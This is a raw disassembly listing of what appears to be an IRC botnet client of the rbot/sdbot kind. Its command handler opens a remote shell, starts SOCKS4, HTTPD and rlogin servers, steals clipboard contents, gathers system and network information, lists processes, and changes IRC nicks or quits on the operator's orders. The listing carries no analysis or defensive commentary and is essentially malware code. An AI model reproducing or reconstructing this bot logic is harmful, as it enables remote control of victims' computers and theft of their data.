loc_4079B1:				; CODE XREF: seg000:004079C5j
		cmp	[ebp-568h], ebx
		jnz	loc_407B16
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4079B1
; ---------------------------------------------------------------------------


loc_4079C7:				; CODE XREF: seg000:004079AFj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_407B07
; ---------------------------------------------------------------------------


loc_4079D8:				; CODE XREF: seg000:0040439Fj
					; seg000:004043B4j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_4079F7
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jz	short loc_4079F7
		push	edi
		call	sub_41D560
		pop	ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F7:				; CODE XREF: seg000:004079E1j
					; seg000:004079ECj
		mov	eax, ds:dword_43CC60


loc_4079FC:				; CODE XREF: seg000:004079F5j
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		jnz	short loc_407A13
		lea	eax, [ebp-0C0h]


loc_407A13:				; CODE XREF: seg000:00407A0Bj
		push	eax
		lea	eax, [ebp-6C0h]
		push	40h
		push	eax
		call	sub_41D360
		mov	esi, [ebp+esi-88h]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_407A35
		mov	esi, offset dword_4DF34C


loc_407A35:				; CODE XREF: seg000:00407A2Ej
		push	esi
		lea	eax, [ebp-680h]
		push	100h
		push	eax
		call	sub_41D360
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-740h]
		push	80h
		push	eax
		call	sub_41D360
		mov	eax, [ebp-8]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		add	esp, 18h
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-6C0h]
		push	eax
		mov	[ebp-744h], esi
		push	dword ptr [ebp-580h]
		mov	[ebp-570h], edi
		push	esi
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	9
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-744h]
		push	ebx
		push	eax
		push	offset byte_411D87
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_407AFB


loc_407AE9:				; CODE XREF: seg000:00407AF9j
		cmp	[ebp-568h], ebx
		jnz	short loc_407B16
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_407AE9
; ---------------------------------------------------------------------------


loc_407AFB:				; CODE XREF: seg000:00407AE7j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...


loc_407B07:				; CODE XREF: seg000:00406026j
					; seg000:00406120j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_407B16:				; CODE XREF: seg000:0040600Aj
					; seg000:00406104j ...
		cmp	[ebp-8], ebx
		jnz	loc_40549F
		push	ebx
		push	edi


loc_407B21:				; CODE XREF: seg000:004058CAj
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_405497
; ---------------------------------------------------------------------------


loc_407B34:				; CODE XREF: seg000:00404375j
					; seg000:0040438Aj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_407B47
		push	esi
		call	sub_41D560
		jmp	short loc_407B4E
; ---------------------------------------------------------------------------


loc_407B47:				; CODE XREF: seg000:00407B3Dj
		push	0Bh
		call	sub_408FA6


loc_407B4E:				; CODE XREF: seg000:00407B45j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40845F
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	near ptr loc_409696+1


loc_407B69:				; CODE XREF: seg000:00407FE8j
		add	esp, 10h
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_407B71:				; CODE XREF: seg000:0040434Bj
					; seg000:00404360j
		mov	eax, ds:dword_451414
		cmp	eax, ebx
		jz	short loc_407B8E
		call	eax ; dword_451414
		test	eax, eax
		jz	short loc_407B87
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_407BAA
; ---------------------------------------------------------------------------


loc_407B87:				; CODE XREF: seg000:00407B7Ej
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_407BAA
; ---------------------------------------------------------------------------


loc_407B8E:				; CODE XREF: seg000:00407B78j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		jmp	short loc_407BAA
; ---------------------------------------------------------------------------


loc_407B95:				; CODE XREF: seg000:00404321j
					; seg000:00404336j
		call	sub_402533
		test	eax, eax
		jz	short loc_407BA5
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	flushed."
		jmp	short loc_407BAA
; ---------------------------------------------------------------------------


loc_407BA5:				; CODE XREF: seg000:00407B9Cj
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."


loc_407BAA:				; CODE XREF: seg000:00407B85j
					; seg000:00407B8Cj ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		jmp	loc_4068DA
; ---------------------------------------------------------------------------


loc_407BC0:				; CODE XREF: seg000:004042F7j
					; seg000:0040430Cj
		cmp	[ebp-8], ebx
		jnz	short loc_407BDF
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_407BDF:				; CODE XREF: seg000:00407BC3j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_4179BF
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_407EB7
; ---------------------------------------------------------------------------


loc_407C01:				; CODE XREF: seg000:00404217j
					; seg000:0040422Cj
		push	0Ah
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_407C14
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	short loc_407C35
; ---------------------------------------------------------------------------


loc_407C14:				; CODE XREF: seg000:00407C0Bj
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_419602
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_407C30
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	short loc_407C35
; ---------------------------------------------------------------------------


loc_407C30:				; CODE XREF: seg000:00407C27j
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."


loc_407C35:				; CODE XREF: seg000:00405667j
					; seg000:00405797j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	loc_40547E
; ---------------------------------------------------------------------------


loc_407C48:				; CODE XREF: seg000:004041EDj
					; seg000:00404202j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40216A
		jmp	loc_407ED5
; ---------------------------------------------------------------------------


loc_407C61:				; CODE XREF: seg000:004041C3j
					; seg000:004041D8j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_416CB5
		jmp	loc_407ED5
; ---------------------------------------------------------------------------


loc_407C7E:				; CODE XREF: seg000:00404199j
					; seg000:004041AEj
		or	edi, 0FFFFFFFFh
		call	ds:dword_4F1340	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_407CA7
		push	esi
		call	sub_41D560
		pop	ecx
		mov	edi, eax


loc_407CA7:				; CODE XREF: seg000:00407C9Cj
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_407CC0
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40845F


loc_407CC0:				; CODE XREF: seg000:00407CB5j
		push	ebx
		call	sub_41A227
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		jmp	loc_405E5B
; ---------------------------------------------------------------------------


loc_407D02:				; CODE XREF: seg000:0040416Fj
					; seg000:00404184j
		push	27h
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_407D36
		cmp	[ebp-8], ebx
		jnz	loc_403498
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aProcAlreadyRun ; "[PROC]: Already running."
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_407D36:				; CODE XREF: seg000:00407D0Cj
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41D360
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_407D97
		push	esi
		push	offset aFull	; "full"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407D97
		mov	dword ptr [ebp-458h], 1


loc_407D97:				; CODE XREF: seg000:00407D7Aj
					; seg000:00407D8Bj
		lea	eax, [ebp-2C8h]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	27h
		push	eax
		call	sub_408D3F
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_419289
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_407E05


loc_407DEF:				; CODE XREF: seg000:00407E03j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40549F
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_407DEF
; ---------------------------------------------------------------------------


loc_407E05:				; CODE XREF: seg000:00407DEDj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	loc_40549F
; ---------------------------------------------------------------------------


loc_407E25:				; CODE XREF: seg000:00404145j
					; seg000:0040415Aj
		cmp	[ebp-8], ebx
		jnz	short loc_407E44
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_407E44:				; CODE XREF: seg000:00407E28j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451588
		call	ds:dword_45144C
		call	loc_417BC3
		push	ebx
		call	ds:dword_4F12F8	; ExitProcess


loc_407E5F:				; CODE XREF: seg000:0040411Bj
					; seg000:00404130j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	loc_41A3E4
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_407EB7
; ---------------------------------------------------------------------------


loc_407E8A:				; CODE XREF: seg000:004040F1j
					; seg000:00404106j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41A698
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_407EB7:				; CODE XREF: seg000:00407BFCj
					; seg000:00407E88j
		call	sub_4161A7
		jmp	loc_406B94
; ---------------------------------------------------------------------------


loc_407EC1:				; CODE XREF: seg000:004040C7j
					; seg000:004040DCj
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4162E4


loc_407ED5:				; CODE XREF: seg000:004033E2j
					; seg000:00407C5Cj ...
		add	esp, 10h
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_407EDD:				; CODE XREF: seg000:0040409Dj
					; seg000:004040B2j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_407F1C
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_407F1C
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407F1C
		push	eax
		push	offset aS_18	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_41D360
		add	esp, 10h


loc_407F1C:				; CODE XREF: seg000:00407EE6j
					; seg000:00407EF1j ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_41D360
		mov	eax, [ebp+0Ch]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	25h
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset byte_416357
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_407FBC


loc_407FA6:				; CODE XREF: seg000:00407FBAj
		cmp	[ebp-2E8h], ebx
		jnz	loc_403498
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_407FA6
; ---------------------------------------------------------------------------


loc_407FBC:				; CODE XREF: seg000:00407FA4j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_4085E6
; ---------------------------------------------------------------------------


loc_407FCD:				; CODE XREF: seg000:00404073j
					; seg000:00404088j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_41612F
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_4161A7
		jmp	loc_407B69
; ---------------------------------------------------------------------------


loc_407FED:				; CODE XREF: seg000:00404049j
					; seg000:0040405Ej
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41D360
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_408047
		push	offset aSub	; "sub"
		push	esi
		call	sub_41D900
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_40804D
; ---------------------------------------------------------------------------


loc_408047:				; CODE XREF: seg000:0040802Bj
		mov	[ebp-458h], ebx


loc_40804D:				; CODE XREF: seg000:00408045j
		lea	eax, [ebp-2C8h]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	28h
		push	eax
		call	sub_408D3F
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset word_408DAA
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4080B7


loc_4080A5:				; CODE XREF: seg000:004080B5j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_4080D2
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4080A5
; ---------------------------------------------------------------------------


loc_4080B7:				; CODE XREF: seg000:004080A3j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...


loc_4080C3:				; CODE XREF: seg000:00406FDAj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_4080D2:				; CODE XREF: seg000:004053E3j
					; seg000:00405405j ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_4042DD
; ---------------------------------------------------------------------------


loc_4080DE:				; CODE XREF: seg000:00403FCDj
					; seg000:00403FE2j
		push	offset aRbg78	; "rbg78"
		lea	eax, [ebp-2C8h]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 20h
		jmp	loc_406913
; ---------------------------------------------------------------------------


loc_408115:				; CODE XREF: seg000:00403FA3j
					; seg000:00403FB8j
		push	ds:dword_4DF1BC
		call	sub_41A227
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 24h
		jmp	loc_406913
; ---------------------------------------------------------------------------


loc_408153:				; CODE XREF: seg000:00403F79j
					; seg000:00403F8Ej
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_408185
		cmp	[ebp-0Ch], ebx
		jz	short loc_408194
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408194
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		add	esp, 0Ch
		jmp	short loc_408194
; ---------------------------------------------------------------------------


loc_408185:				; CODE XREF: seg000:0040815Cj
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		pop	ecx
		pop	ecx


loc_408194:				; CODE XREF: seg000:00408161j
					; seg000:00408170j ...
		push	0FFFFFFFEh
		jmp	loc_40349A
; ---------------------------------------------------------------------------


loc_40819B:				; CODE XREF: seg000:00403F4Fj
					; seg000:00403F64j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_4161A7
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_4081BD:				; CODE XREF: seg000:00403F25j
					; seg000:00403F3Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_4161A7
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_4081DE:				; CODE XREF: seg000:00403EFBj
					; seg000:00403F10j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_409293
		jmp	loc_406AD7
; ---------------------------------------------------------------------------


loc_4081F4:				; CODE XREF: seg000:00403E56j
					; seg000:00403E6Bj
		push	dword ptr [ebp+esi-90h]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"


loc_408207:				; CODE XREF: seg000:00403CD1j
					; seg000:00403CFAj ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408FCD
		add	esp, 20h
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: seg000:00403C92j
					; seg000:00403CA7j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_408242
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jz	short loc_408242
		push	edi
		call	sub_41D560
		pop	ecx
		jmp	short loc_408247
; ---------------------------------------------------------------------------


loc_408242:				; CODE XREF: seg000:0040822Cj
					; seg000:00408237j
		mov	eax, ds:dword_43CC54


loc_408247:				; CODE XREF: seg000:00408240j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-464h], eax
		cmp	esi, ebx
		jz	short loc_40826C
		push	esi


loc_408259:				; CODE XREF: seg000:0040827Bj
		lea	eax, [ebp-474h]
		push	10h
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		jmp	short loc_408283
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: seg000:00408256j
		cmp	[ebp-9B3h], bl
		jz	short loc_40827D
		lea	eax, [ebp-0C0h]
		push	eax
		jmp	short loc_408259
; ---------------------------------------------------------------------------


loc_40827D:				; CODE XREF: seg000:00408272j
		mov	[ebp-474h], bl


loc_408283:				; CODE XREF: seg000:0040826Aj
		mov	eax, [ebp-4]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-458h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-454h], eax
		lea	eax, [ebp-4F4h]
		push	eax
		mov	[ebp-4F8h], esi
		call	sub_41D360
		add	esp, 0Ch
		push	dword ptr [ebp-464h]
		push	esi
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_408D3F
		add	esp, 1Ch
		mov	[ebp-460h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset loc_412507
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-460h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_408334


loc_40831E:				; CODE XREF: seg000:00408332j
		cmp	[ebp-450h], ebx
		jnz	loc_403498
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40831E
; ---------------------------------------------------------------------------


loc_408334:				; CODE XREF: seg000:0040831Cj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_4085E6
; ---------------------------------------------------------------------------


loc_408345:				; CODE XREF: seg000:00403C68j
					; seg000:00403C7Dj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40839F
		push	esi
		call	sub_41D560
		cmp	eax, ebx
		pop	ecx
		jl	short loc_408397
		cmp	eax, 3
		jge	short loc_408397
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40838F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aMainUserSLog_1 ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_406698
; ---------------------------------------------------------------------------


loc_40838F:				; CODE XREF: seg000:0040836Ej
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_4083DC
; ---------------------------------------------------------------------------


loc_408397:				; CODE XREF: seg000:00408359j
					; seg000:0040835Ej
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_4083DC
; ---------------------------------------------------------------------------


loc_40839F:				; CODE XREF: seg000:0040834Ej
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4083A4:				; CODE XREF: seg000:004083C0j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4083C7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4083A4
		jmp	loc_406698
; ---------------------------------------------------------------------------


loc_4083C7:				; CODE XREF: seg000:004083B4j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aMainUserSLog_2 ; "[MAIN]: User %s logged out."


loc_4083DC:				; CODE XREF: seg000:00404819j
					; seg000:00404847j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	loc_406698
; ---------------------------------------------------------------------------


loc_4083F0:				; CODE XREF: seg000:00403C3Ej
					; seg000:00403C53j
		push	dword ptr [ebp-90h]
		push	offset a332_4	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40845F
		call	sub_408F08
		push	ebx
		call	ds:dword_4F12F8	; ExitProcess


loc_408412:				; CODE XREF: seg000:00403C14j
					; seg000:00403C29j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_43CC7C
		push	eax
		call	sub_408A38
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS_2	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		lea	eax, [ebp-564h]
		push	eax
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_41621B


loc_40845C:				; CODE XREF: seg000:00405604j
		add	esp, 24h


loc_40845F:				; CODE XREF: seg000:00403650j
					; seg000:0040365Cj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_408467:				; CODE XREF: seg000:004036E6j
					; seg000:004036FBj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_403498
		cmp	[ebp-0A8h], ebx
		jnz	loc_403498
		push	offset asc_43D960 ; "!"
		push	dword ptr [ebp-94h]
		call	sub_41D6B0
		mov	esi, eax
		push	offset dword_4DF348
		push	ebx
		inc	esi
		call	sub_41D6B0
		push	offset asc_43D964 ; "~"
		push	eax
		call	sub_41D6B0
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi_0	; "hi"
		call	sub_41D900
		add	esp, 20h
		test	eax, eax
		jz	short loc_4084FD
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."
		jmp	short loc_408559
; ---------------------------------------------------------------------------


loc_4084FD:				; CODE XREF: seg000:004084C2j
		mov	dword ptr [ebp+2Ch], offset off_43CD24


loc_408504:				; CODE XREF: seg000:00408520j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_409098
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40856D
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_43CD28
		jl	short loc_408504
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
